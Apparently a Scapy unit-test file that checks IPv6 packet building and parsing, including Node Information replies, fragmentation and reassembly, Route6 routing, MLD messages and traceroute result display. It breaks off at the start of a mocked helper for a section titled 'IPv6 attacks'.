ICMPv6NIReplyIPv6 - one IPv6 address without TTL (internal) a=ICMPv6NIReplyIPv6(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" = ICMPv6NIReplyIPv6 - one IPv6 address without TTL ICMPv6NIReplyIPv6(data="2001:db8::1").data == [(0, '2001:db8::1')] = ICMPv6NIReplyIPv6 - one IPv6 address without TTL (as a list) (internal) a=ICMPv6NIReplyIPv6(data=["2001:db8::1"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" = ICMPv6NIReplyIPv6 - one IPv6 address without TTL (as a list) ICMPv6NIReplyIPv6(data=["2001:db8::1"]).data == [(0, '2001:db8::1')] = ICMPv6NIReplyIPv6 - one IPv6 address with TTL (internal) a=ICMPv6NIReplyIPv6(data=[(0, "2001:db8::1")]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" = ICMPv6NIReplyIPv6 - one IPv6 address with TTL ICMPv6NIReplyIPv6(data=[(0, "2001:db8::1")]).data == [(0, '2001:db8::1')] = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list of rawings (without TTL) (internal) a=ICMPv6NIReplyIPv6(data=["2001:db8::1", "2001:db8::2"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "2001:db8::2" = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list of rawings (without TTL) ICMPv6NIReplyIPv6(data=["2001:db8::1", "2001:db8::2"]).data == [(0, '2001:db8::1'), (0, '2001:db8::2')] = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list (first with ttl, second without) (internal) a=ICMPv6NIReplyIPv6(data=[(42, "2001:db8::1"), "2001:db8::2"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 42 and a[1][0][1] == "2001:db8::1" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "2001:db8::2" = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list (first with ttl, second without) ICMPv6NIReplyIPv6(data=[(42, "2001:db8::1"), "2001:db8::2"]).data == [(42, "2001:db8::1"), (0, "2001:db8::2")] = ICMPv6NIReplyIPv6 - build & dissection s = raw(IPv6()/ICMPv6NIReplyIPv6(data="2001:db8::1")) p = IPv6(s) ICMPv6NIReplyIPv6 in p and p.data == [(0, '2001:db8::1')] ############ ############ + Test Node Information Query - ICMPv6NIReplyIPv4 = ICMPv6NIReplyIPv4 - one IPv4 address without TTL (internal) a=ICMPv6NIReplyIPv4(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" = ICMPv6NIReplyIPv4 - one IPv4 address without TTL ICMPv6NIReplyIPv4(data="169.254.253.252").data == [(0, '169.254.253.252')] = ICMPv6NIReplyIPv4 - one IPv4 address without TTL (as a list) (internal) a=ICMPv6NIReplyIPv4(data=["169.254.253.252"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" = ICMPv6NIReplyIPv4 - one IPv4 address without TTL (as a list) ICMPv6NIReplyIPv4(data=["169.254.253.252"]).data == [(0, '169.254.253.252')] = ICMPv6NIReplyIPv4 - one IPv4 address with TTL (internal) a=ICMPv6NIReplyIPv4(data=[(0, "169.254.253.252")]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" = ICMPv6NIReplyIPv4 - one IPv4 address with TTL (internal) ICMPv6NIReplyIPv4(data=[(0, "169.254.253.252")]).data == [(0, '169.254.253.252')] = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list of rawings (without TTL) a=ICMPv6NIReplyIPv4(data=["169.254.253.252", "169.254.253.253"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "169.254.253.253" = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list of rawings (without TTL) (internal) ICMPv6NIReplyIPv4(data=["169.254.253.252", "169.254.253.253"]).data == [(0, '169.254.253.252'), (0, '169.254.253.253')] = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list (first with ttl, second without) a=ICMPv6NIReplyIPv4(data=[(42, "169.254.253.252"), "169.254.253.253"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 42 and a[1][0][1] == "169.254.253.252" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "169.254.253.253" = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list (first with ttl, second without) (internal) ICMPv6NIReplyIPv4(data=[(42, "169.254.253.252"), "169.254.253.253"]).data == [(42, "169.254.253.252"), (0, "169.254.253.253")] = ICMPv6NIReplyIPv4 - build & dissection s = raw(IPv6()/ICMPv6NIReplyIPv4(data="192.168.0.1")) p = IPv6(s) ICMPv6NIReplyIPv4 in p and p.data == [(0, '192.168.0.1')] s = raw(IPv6()/ICMPv6NIReplyIPv4(data=[(2807, "192.168.0.1")])) p = IPv6(s) ICMPv6NIReplyIPv4 in p and p.data == [(2807, "192.168.0.1")] ############ ############ + Test Node Information Query - ICMPv6NIReplyRefuse = ICMPv6NIReplyRefuse - basic instantiation raw(ICMPv6NIReplyRefuse())[:8] == b'\x8c\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NIReplyRefuse - basic dissection a=ICMPv6NIReplyRefuse(b'\x8c\x01\x00\x00\x00\x00\x00\x00\xf1\xe9\xab\xc9\x8c\x0by\x18') a.type == 140 and a.code == 1 and a.cksum == 0 and a.unused == 0 and a.flags == 0 and a.nonce == b'\xf1\xe9\xab\xc9\x8c\x0by\x18' and a.data == None ############ ############ + Test Node Information Query - ICMPv6NIReplyUnknown = ICMPv6NIReplyUnknown - basic instantiation raw(ICMPv6NIReplyUnknown(nonce=b'\x00'*8)) == b'\x8c\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NIReplyRefuse - basic dissection a=ICMPv6NIReplyRefuse(b'\x8c\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 140 and a.code == 2 and a.cksum == 0 and a.unused == 0 and a.flags == 0 and a.nonce == b'\x00'*8 and a.data == None ############ ############ + Test Node Information Query - utilities = computeNIGroupAddr computeNIGroupAddr("scapy") == "ff02::2:f886:2f66" ############ ############ + IPv6ExtHdrFragment Class Test = IPv6ExtHdrFragment - Basic Instantiation raw(IPv6ExtHdrFragment()) == b';\x00\x00\x00\x00\x00\x00\x00' = IPv6ExtHdrFragment - Instantiation with specific values raw(IPv6ExtHdrFragment(nh=0xff, res1=0xee, offset=0x1fff, res2=1, m=1, id=0x11111111)) == b'\xff\xee\xff\xfb\x11\x11\x11\x11' = IPv6ExtHdrFragment - Basic Dissection a=IPv6ExtHdrFragment(b';\x00\x00\x00\x00\x00\x00\x00') a.nh == 59 and a.res1 == 0 and a.offset == 0 and a.res2 == 0 and a.m == 0 and a.id == 0 = IPv6ExtHdrFragment - Instantiation with specific values a=IPv6ExtHdrFragment(b'\xff\xee\xff\xfb\x11\x11\x11\x11') a.nh == 0xff and a.res1 == 0xee and a.offset==0x1fff and a.res2==1 and a.m == 1 and a.id == 0x11111111 = IPv6 - IPv6ExtHdrFragment hashret a=IPv6()/IPv6ExtHdrFragment(b'\xff\xee\xff\xfb\x11\x11\x11\x11') a.hashret() == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff' ############ ############ + Test fragment6 function = fragment6 - test against a long TCP packet with a 1280 MTU l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) len(l) == 33 and len(raw(l[-1])) == 644 = fragment6 - test against a long TCP packet with a 1280 MTU without fragment header l=fragment6(IPv6()/TCP()/Raw(load="A"*40000), 1280) len(l) == 33 and len(raw(l[-1])) == 644 ############ ############ + Test defragment6 function = defragment6 - test against a long TCP packet fragmented with a 1280 MTU l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) raw(defragment6(l)) == (b'`\x00\x00\x00\x9cT\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xe92\x00\x00' + b'A'*40000) = defragment6 - test against packets with L2 header l=defragment6(fragment6(Ether()/IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*2000), 1280)) Ether in l = defragment6 - test against a large TCP packet fragmented with a 1280 bytes MTU and missing fragments l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) del(l[2]) del(l[4]) del(l[12]) del(l[18]) raw(defragment6(l)) == (b'`\x00\x00\x00\x9cT\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xe92\x00\x00' + 2444*b'A' + 1232*b'X' + 2464*b'A' + 1232*b'X' + 9856*b'A' + 1232*b'X' + 7392*b'A' + 1232*b'X' + 12916*b'A') = defragment6 - test against a TCP packet fragmented with a 800 bytes MTU and missing fragments l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*4000), 800) del(l[4]) del(l[2]) raw(defragment6(l)) == b'`\x00\x00\x00\x0f\xb4\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb2\x0f\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' = defragment6 - test the packet length pkts = fragment6(IPv6()/IPv6ExtHdrFragment()/UDP(dport=42, sport=42)/Raw(load="A"*1500), 1280) pkts = [IPv6(raw(p)) for p in pkts] assert defragment6(pkts).plen == 1508 ############ ############ + Test Route6 class = Route6 - Route6 flushing conf_iface = conf.iface conf.iface = "eth0" conf.route6.routes=[ ( '::1', 128, '::', 'lo', ['::1'], 1), ( 'fe80::20f:1fff:feca:4650', 128, '::', 'lo', ['::1'], 1)] conf.route6.flush() not conf.route6.routes = Route6 - Route6.route conf.route6.flush() conf.route6.ipv6_ifaces = set(['lo', 'eth0']) conf.route6.routes=[ ( '::1', 128, '::', 'lo', ['::1'], 1), ( 'fe80::20f:1fff:feca:4650', 128, '::', 'lo', ['::1'], 1), ( 'fe80::', 64, '::', 'eth0', ['fe80::20f:1fff:feca:4650'], 1), ('2001:db8:0:4444:20f:1fff:feca:4650', 128, '::', 'lo', ['::1'], 1), ( '2001:db8:0:4444::', 64, '::', 'eth0', ['2001:db8:0:4444:20f:1fff:feca:4650'], 1), ( '::', 0, 'fe80::20f:34ff:fe8a:8aa1', 'eth0', ['2001:db8:0:4444:20f:1fff:feca:4650', '2002:db8:0:4444:20f:1fff:feca:4650'], 1) ] conf.route6.route("2002::1") == ('eth0', '2002:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') and conf.route6.route("2001::1") == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') and conf.route6.route("fe80::20f:1fff:feab:4870") == ('eth0', 'fe80::20f:1fff:feca:4650', '::') and conf.route6.route("::1") == ('lo', '::1', '::') and conf.route6.route("::") == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') and conf.route6.route('ff00::') == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') conf.iface = conf_iface conf.route6.resync() if not len(conf.route6.routes): # IPv6 seems disabled. Force a route to ::1 conf.route6.routes.append(("::1", 128, "::", conf.loopback_name, ["::1"], 1)) True = Route6 - Route6.make_route r6 = Route6() r6.make_route("2001:db8::1", dev=conf.loopback_name) in [ ("2001:db8::1", 128, "::", conf.loopback_name, [], 1), ("2001:db8::1", 128, "::", conf.loopback_name, ["::1"], 1) ] len_r6 = len(r6.routes) = Route6 - Route6.add & Route6.delt r6.add(dst="2001:db8:cafe:f000::/64", gw="2001:db8:cafe::1", dev="eth0") assert(len(r6.routes) == len_r6 + 1) r6.delt(dst="2001:db8:cafe:f000::/64", gw="2001:db8:cafe::1") assert(len(r6.routes) == len_r6) = Route6 - Route6.ifadd & Route6.ifdel r6.ifadd("scapy0", "2001:bd8:cafe:1::1/64") r6.ifdel("scapy0") = IPv6 - utils @mock.patch("scapy.layers.inet6.get_if_hwaddr") @mock.patch("scapy.layers.inet6.srp1") def test_neighsol(mock_srp1, mock_get_if_hwaddr): mock_srp1.return_value = Ether()/IPv6()/ICMPv6ND_NA()/ICMPv6NDOptDstLLAddr(lladdr="05:04:03:02:01:00") mock_get_if_hwaddr.return_value = "00:01:02:03:04:05" return neighsol("fe80::f6ce:46ff:fea9:e04b", "fe80::f6ce:46ff:fea9:e04b", "scapy0") p = test_neighsol() ICMPv6NDOptDstLLAddr in p and p[ICMPv6NDOptDstLLAddr].lladdr == "05:04:03:02:01:00" @mock.patch("scapy.layers.inet6.neighsol") @mock.patch("scapy.layers.inet6.conf.route6.route") def test_getmacbyip6(mock_route6, mock_neighsol): mock_route6.return_value = ("scapy0", "fe80::baca:3aff:fe72:b08b", "::") mock_neighsol.return_value = test_neighsol() return getmacbyip6("fe80::704:3ff:fe2:100") test_getmacbyip6() == "05:04:03:02:01:00" = IPv6 - IPerror6 & UDPerror & _ICMPv6Error query = IPv6(dst="2001:db8::1", src="2001:db8::2", hlim=1)/UDP()/DNS() answer = IPv6(dst="2001:db8::2", src="2001:db8::1", hlim=1)/ICMPv6TimeExceeded()/IPerror6(dst="2001:db8::1", src="2001:db8::2", hlim=0)/UDPerror()/DNS() answer.answers(query) == True # Test _ICMPv6Error from scapy.layers.inet6 import _ICMPv6Error assert _ICMPv6Error().guess_payload_class(None) == IPerror6 assert _ICMPv6Error().hashret() == b'' = Windows: reset routes properly if WINDOWS: from scapy.arch.windows import _route_add_loopback _route_add_loopback() ############ ############ + ICMPv6ML = ICMPv6MLQuery - build & dissection s = raw(IPv6(src="fe80::1")/ICMPv6MLQuery()) assert s == b"`\x00\x00\x00\x00\x18:\x01\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x82\x00Y\x17'\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" p = IPv6(s) assert ICMPv6MLQuery in p and p[IPv6].dst == "ff02::1" = Check answers q = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLQuery() a = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLReport() assert a.answers(q) ############ ############ + ICMPv6MLv2 = ICMPv6MLQuery2 - build & dissection p = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLQuery2(sources=["::1"]) s = raw(p) assert s == b"`\x00\x00\x00\x004\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01:\x00\x05\x02\x00\x00\x01\x00\x82\x00V\x85'\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" p = IPv6(s) assert ICMPv6MLQuery2 in p and p.sources_number == 1 = ICMPv6MLReport2 - build & dissection p = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLReport2(records=[ICMPv6MLDMultAddrRec(), ICMPv6MLDMultAddrRec(sources=["::1"], auxdata="scapy")]) s = raw(p) assert s == b'`\x00\x00\x00\x00M\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01:\x00\x05\x02\x00\x00\x01\x00\x8f\x00\x1a\xa1\x00\x00\x00\x02\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x05\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01scapy' p = IPv6(s) assert ICMPv6MLReport2 in p and p.records_number == 2 = ICMPv6MLReport2 and ICMPv6MLDMultAddrRec - dissection z = b'33\x00\x00\x00\x16\xd0P\x99V\xdd\xf9\x86\xdd`\x00\x00\x00\x00\x1c:\x01\xfe\x80\x00\x00\x00\x00\x00\x00q eX\x98\x86\xfa\x88\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x8f\x00\x13\x4d\x00\x00\x00\x01\x04\x00\x00\x00\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xffR\xf3\xe1' w = Ether(z) assert len(w.records) == 1 assert isinstance(w.records[0], ICMPv6MLDMultAddrRec) assert w.records[0].dst == "ff02::1:ff52:f3e1" = Check answers q = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLQuery2() a = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLReport2() assert a.answers(q) ############ ############ + Ether tests with IPv6 = Ether IPv6 checking for dst ~ netaccess ipv6 p = Ether()/IPv6(dst="www.google.com")/TCP() assert p.dst != p[IPv6].dst p.show() ############ ############ + TracerouteResult6 = get_trace() ip6_hlim = [("2001:db8::%d" % i, i) for i in six.moves.range(1, 12)] tr6_packets = [ (IPv6(dst="2001:db8::1", src="2001:db8::254", hlim=hlim)/UDP()/"scapy", IPv6(dst="2001:db8::254", src=ip)/ICMPv6TimeExceeded()/IPerror6(dst="2001:db8::1", src="2001:db8::254", hlim=0)/UDPerror()/"scapy") for (ip, hlim) in ip6_hlim ] tr6 = TracerouteResult6(tr6_packets) tr6.get_trace() == {'2001:db8::1': {1: ('2001:db8::1', False), 2: ('2001:db8::2', False), 3: ('2001:db8::3', False), 4: ('2001:db8::4', False), 5: ('2001:db8::5', False), 6: ('2001:db8::6', False), 7: ('2001:db8::7', False), 8: ('2001:db8::8', False), 9: ('2001:db8::9', False), 10: ('2001:db8::10', False), 11: ('2001:db8::11', False)}} = show() def test_show(): with ContextManagerCaptureOutput() as cmco: tr6 = TracerouteResult6(tr6_packets) tr6.show() result = cmco.get_output() expected = " 2001:db8::1 :udpdomain \n" expected += "1 2001:db8::1 3 \n" expected += "2 2001:db8::2 3 \n" expected += "3 2001:db8::3 3 \n" expected += "4 2001:db8::4 3 \n" expected += "5 2001:db8::5 3 \n" expected += "6 2001:db8::6 3 \n" expected += "7 2001:db8::7 3 \n" expected += "8 2001:db8::8 3 \n" expected += "9 2001:db8::9 3 \n" expected += "10 2001:db8::10 3 \n" expected += "11 2001:db8::11 3 \n" index_result = result.index("\n1") index_expected = expected.index("\n1") assert(result[index_result:] == expected[index_expected:]) test_show() = graph() saved_AS_resolver = conf.AS_resolver conf.AS_resolver = None tr6.make_graph() assert len(tr6.graphdef) == 530 assert tr6.graphdef.startswith("digraph trace {") '"2001:db8::1 53/udp";' in tr6.graphdef conf.AS_resolver = saved_AS_resolver ############ ############ + IPv6 attacks = Define test utilities import mock @mock.patch("scapy.layers.inet6.sniff") @mock.patch("scapy.layers.inet6.sendp") def test_attack(function, pktlist, sendp_mock, sniff_mock, options=()): pktlist = [Ether(raw(x)) for x in pktlist] ret_list = [] def _fake_sniff(lfilter=None, prn=None, **kwargs): for p in pktlist: if lfilter and lfilter(p) and prn: prn(p) sniff_mock.side_effect = _fake_sniff def _fake_sendp(pkt, *args, **kwargs): 